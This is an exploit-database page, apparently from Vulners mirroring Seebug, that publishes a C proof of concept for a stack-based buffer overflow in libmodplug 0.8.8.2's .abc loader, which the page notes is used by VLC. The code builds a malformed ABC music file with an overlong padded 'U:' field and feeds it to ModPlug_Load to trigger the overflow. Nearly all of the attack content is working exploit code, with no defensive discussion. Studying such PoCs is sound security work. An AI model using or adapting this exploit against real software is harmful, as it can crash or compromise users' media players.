Lucene search
K

libmodplug <= 0.8.8.2 .abc Stack-Based Buffer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

libmodplug 0.8.8.2 Buffer Overflow PoC, exploits load_abc.cpp in libmodplug used by VLC media playe

Code

                                                #include &#60;libmodplug/modplug.h&#62;
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;

/*
libmodplug &#60;= 0.8.8.2 .abc stack-based buffer overflow poc

http://modplug-xmms.sourceforge.net/

by: epiphant

this exploits one of many overflows in load_abc.cpp lol

vlc media player uses libmodplug

greets: defrost, babi, ming_wisher, emel1a, a.v., krs

date: 28 april 2011

tested on: centos 5.6
*/

int main(void)
{
  char test[512] = &#34;X: 1\nU: &#34;;
  unsigned int i;

  i = strlen(test);
  while (i &#60; 278)
    test[i++] = &#39;Q&#39;;
  test[i++] = &#39;1&#39; + 32;
  test[i++] = &#39;3&#39;;
  test[i++] = &#39;3&#39;;
  test[i++] = &#39;4&#39;;
  while (i &#60; 286)
    test[i++] = &#39;A&#39;;
  test[i++] = &#39;\n&#39;;
  test[i] = &#39;\0&#39;;

  strcat(test, &#34;T: Here Without You (Transcribed by: Bungee)\n&#34;);
  strcat(test, &#34;Z: 3 Doors Down\n&#34;);
  strcat(test, &#34;L: 1/4\n&#34;);
  strcat(test, &#34;Q: 108\n&#34;);
  strcat(test, &#34;K: C\n\n&#34;);
  strcat(test, &#34;[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n&#34;);

  i = strlen(test);
  ModPlug_Load(test, i);

  return 0;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation